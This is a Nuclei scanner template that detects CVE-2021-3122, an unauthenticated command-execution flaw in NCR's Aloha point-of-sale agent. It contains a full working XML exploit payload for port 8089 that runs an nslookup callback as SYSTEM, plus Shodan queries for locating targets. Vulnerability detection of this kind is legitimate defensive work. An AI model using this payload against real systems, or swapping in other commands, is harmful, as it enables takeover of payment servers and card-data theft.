id: CVE-2021-3122

info:
  name: NCR Command Center Agent 16.3 - Remote Command Execution
  severity: critical
  author: daffainfo,jjcho
  description: |
    CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only on devices with a certain "misconfiguration."
  impact: |
    Unauthenticated attackers can execute arbitrary system commands as SYSTEM on NCR Aloha POS/BOH servers by submitting malicious XML documents to port 8089, potentially compromising point-of-sale systems and accessing sensitive payment data.
  remediation: |
    Apply the latest security updates from NCR to disable the vulnerable runCommand functionality or implement proper authentication and input validation on the CMCAgent service.
  reference:
    - https://hcs-team.com/blog/cve-2021-3122/
    - https://github.com/acquiredsecurity/CVE-2021-3122-Details/blob/main/CVE-2021-3122
    - https://www.tetradefense.com/incident-response-services/active-exploit-a-remote-code-execution-rce-vulnerability-for-ncr-aloha-point-of-sale/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3122
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3122
    epss-score: 0.87383
    epss-percentile: 0.9973
    cwe-id: CWE-78
    cpe: cpe:2.3:a:ncr:command_center_agent:16.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: ncr
    product: command_center_agent
    fofa-query: "mynodename"
    shodan-query: "mynodename"
  tags: cve,cve2021,ncr,rce,vkev,intrusive,vuln

variables:
  payload: <workitemroot commandname="runCommand"><WorkItem><WorkItemId>1</WorkItemId><CommandName>runCommand</CommandName><SourceNode>0</SourceNode><TargetNode>0</TargetNode><Status>InProgress</Status></WorkItem><command><Arguments>nslookup {{interactsh-url}}</Arguments><Guid>00000000-0000-0000-0000-000000000001</Guid><Result></Result><destserver>WebServer</destserver></command></workitemroot><:EOM:>

tcp:
  - inputs:
      - data: "{{payload}}"

    host:
      - "{{Hostname}}"
    port: 8089

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol,'dns')
          - contains_all(raw, '<cmcsys', 'myNodeName')
        condition: and
# digest: 4a0a00473045022027c9ec20897d3acd67800767a4b3af58482c2b1f56180d562add007376597e71022100aa70e96051beee89f4ad70765c427956f8d18349078b4e0ffadbc6931d274b79:922c64590222798bb761d5b6d8e72950